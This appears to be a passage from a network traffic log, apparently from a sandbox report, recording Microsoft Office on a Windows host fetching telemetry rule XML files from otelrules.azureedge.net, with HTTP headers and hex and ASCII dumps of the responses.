2024-10-28 07:18:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:21 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:21 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 082c7638-801e-0067-65f2-24fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071821Z-15b8d89586ff5l62aha9080wv00000000600000000003fxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:21 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:21 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071821Z-16849878b78fkwcjkpn19c5dsn00000003pg00000000a8e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:21 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:21 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 82f7a233-a01e-0002-6b65-275074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071821Z-17c5cb586f66g7mvbfuqdb2m3n00000004ug0000000039cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:21 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:21 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071821Z-16849878b787wpl5wqkt5731b400000005f000000000659y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:22 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:22 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071822Z-16849878b78tg5n42kspfr0x4800000004t000000000315q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:22 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:22 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:22 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071822Z-16849878b78xblwksrnkakc08w000000042000000000043a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:22 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:22 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:22 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071822Z-16849878b78wv88bk51myq5vxc000000050g000000004tah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:22 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:22 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:22 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071822Z-16849878b78p49s6zkwt11bbkn00000004eg0000000019pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:22 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:22 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071822Z-r197bdfb6b4wmcgqdschtyp7yg00000004fg000000009ted x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:22 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:23 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 508e2446-401e-0048-3188-250409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071823Z-15b8d89586fcvr6p5956n5d0rc0000000agg0000000070sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:23 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:23 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:23 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ef425c1b-901e-002a-63e7-277a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071823Z-17c5cb586f6b6kj91vqtm6kxaw00000003cg000000004rxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:23 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 